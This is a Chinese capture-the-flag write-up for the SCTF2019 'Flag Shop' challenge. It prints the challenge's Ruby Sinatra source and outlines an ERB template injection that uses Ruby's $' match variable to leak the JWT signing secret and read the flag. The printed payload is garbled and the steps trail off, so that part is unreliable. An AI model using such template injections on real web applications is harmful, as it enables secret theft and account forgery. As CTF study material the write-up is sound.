[SCTF2019]Flag Shop

[SCTF2019]Flag Shop

解题

  1. 使用robots.txt,看到/static/secretkey.txt,但是源码在filebak中,不知道为什么

    ruby 复制代码
    require 'sinatra'
    require 'sinatra/cookies'
    require 'sinatra/json'
    require 'jwt'
    require 'securerandom'
    require 'erb'
    
    set :public_folder, File.dirname(__FILE__) + '/static'
    
    FLAGPRICE = 1000000000000000000000000000
    ENV["SECRET"] = SecureRandom.hex(64)
    
    configure do
      enable :logging
      file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
      file.sync = true
      use Rack::CommonLogger, file
    end
    
    get "/" do
      redirect '/shop', 302
    end
    
    get "/filebak" do
      content_type :text
      erb IO.binread __FILE__
    end
    
    get "/api/auth" do
      payload = { uid: SecureRandom.uuid , jkl: 20}
      auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
      cookies[:auth] = auth
    end
    
    get "/api/info" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
      json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
    end
    
    get "/shop" do
      erb :shop
    end
    
    get "/work" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
      auth = auth[0]
      unless params[:SECRET].nil?
        if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
          puts ENV["FLAG"]
        end
      end
    
      if params[:do] == "#{params[:name][0,7]} is working" then
    
        auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result
    
      end
    end
    
    post "/shop" do
      islogin
      auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
    
      if auth[0]["jkl"] < FLAGPRICE then
    
        json({title: "error",message: "no enough jkl"})
      else
    
        auth << {flag: ENV["FLAG"]}
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        json({title: "success",message: "jkl is good thing"})
      end
    end
    
    
    def islogin
      if cookies[:auth].nil? then
        redirect to('/shop')
      en
    end
  2. 语法为Ruby的语法所以思路为Ruby模版注入。

    ruby 复制代码
      if params[:do] == "#{params[:name][0,7]} is working" then
     
        auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
        auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
        cookies[:auth] = auth
        ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

    发现secret的输出方式,其中ruby预定义变量里,在$'后会最后一次匹配字符串,所以进入代码后is working不被ruby代码解析,然后使用ERB模版进行注入。

    所以传入/work?SECRET=&name=<%= ′ '%>&do=<%= ′'%>is working

    得到:

    构造后,

将jwt解码得到flag

相关推荐
17岁的勇气18 分钟前
Unity Shader unity文档学习笔记(二十一):几种草体的实现方式(透明度剔除,GPU Instaning, 曲面细分+几何着色器实现)
笔记·学习·unity
zt1985q37 分钟前
外网访问个人 IT 工具箱 it-tools
服务器·spring cloud·网络安全·云原生·eureka
long3162 小时前
状态设计模式
java·学习·程序人生·设计模式·状态模式·state-pattern
传奇开心果编程2 小时前
【传奇开心果系列】Flet框架实现的图形化界面的PDF转word转换器办公小工具自定义模板
前端·python·学习·ui·前端框架·pdf·word
岛屿旅人3 小时前
欧盟《人工智能法案》生效一年主要实施进展概览(一)
网络·人工智能·安全·web安全·网络安全
dingzd954 小时前
共识算法如何保障网络安全
web安全·web3·区块链·facebook·共识算法·tiktok·instagram
人生游戏牛马NPC1号5 小时前
学习 Android (十七) 学习 OpenCV (二)
android·opencv·学习
悠哉悠哉愿意5 小时前
【机器学习学习笔记】机器学习引言
笔记·学习·机器学习
Xasxxs6 小时前
【网络安全】XSS漏洞——PortSwigger靶场-DOM破坏
javascript·安全·web安全·xss
梦幻精灵_cq6 小时前
『专利好药用力心脑血管健康』——爱上古中医(28)(健康生活是coder抒写优质代码的前提条件——《黄帝内经》伴读学习纪要)
学习